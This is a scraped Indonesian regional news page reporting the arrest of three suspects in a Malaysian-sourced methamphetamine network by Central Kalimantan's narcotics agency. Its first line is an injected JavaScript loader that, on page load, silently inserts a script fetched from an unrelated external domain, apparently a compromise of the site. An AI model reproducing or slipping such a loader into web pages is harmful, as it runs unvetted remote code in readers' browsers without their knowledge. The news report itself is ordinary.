(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

BNNP Kalteng Bongkar Jaringan Narkoba Internasional dengan Barbuk 9,2 Kg


KANALKALIMANTAN.COM, PALANGKARAYA – Tim Berantas Badan Narkotika Nasional Provinsi (BNNP) Kalimantan Tengah berhasil meringkus jaringan narkoba internasional di wilayah Sampit, Kabupaten Kotawaringin Timur, dengan barang bukti narkoba jenis sabu 9,2 kilogram senilai miliaran rupiah.

Dalam penindakan, petugas BNNP Kalteng berhasil menangkap tiga tersangka yang kini telah diamankan yaitu berinisial BN, YA, dan TS. Ketiga jaringan sindikat narkoba internasional itu ditangkap pada dua lokasi berbeda.

Tersangka BN dan TS ditangkap di wilayah Sampit, Kabupaten Kotawaringin Timur, sedangkan tersangka YA ditangkap saat berada Jakarta Selatan, di gang SD MHT belakang SMPN 240 Jakarta. Mereka disebut merupakan residivis dalam kasus yang sama.

Baca juga: Massa Berpakaian Adat Dayak Unjuk Rasa di DPRD Kalsel, Kecam Pernyataan Rocky Gerung

Saat penggerebekan dilakukan, para pelaku pun tak berkutik. Petugas meminta mereka menunjukkan barang bukti narkoba jenis sabu yang disimpan di dalam tas ransel.

Dari hasil pemeriksaan petugas, 9,2 Kg narkoba jenis sabu itu ternyata didatangkan dari Malaysia yang diselundupkan melalui jalur darat, kemudian dibawa ke Kalimantan Tengah melalui Kota Pontianak, Kalimantan Barat.

Kepala Bidang Pemberantasan dan Intelijen BNNP Kalteng Kombes Pol Agustiyanto mengatakan, ketiga tersangka berasal dari dua kelompok jaringan narkoba yang berbeda.

Untuk menangkap pelaku, Tim Berantas BNNP Kalteng membutuhkan waktu selama tiga bulan untuk menyelidiki gerak-gerik para tersangka, hingga akhirnya para pelaku berhasil diringkus.

Baca juga: AR Diringkus, Polresta Banjarmasin Sita 33 Paket Sabu dan 100 Biji Ekstasi

“Barang bukti sabu yang berhasil kami amankan dari para tersangka ini, dari pengakuan mereka rencananya akan diedarkan di wilayah Sampit dan Palangkaraya dengan total barang bukti 9,2 kilogram yang didatangkan dari Malaysia,” ujarnya, Selasa (1/8/2023).

Atas perbuatannya, para pelaku kini dijerat dengan Undang-Undang tentang Narkotika dengan ancaman hukuman mati. (Beritasatu.com/kk)

Reporter : Beritasatu.com
Editor : kk


Al Ghifari

Recent Posts

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

2 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

2 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

4 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

5 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

5 jam ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

6 jam ago

This website uses cookies.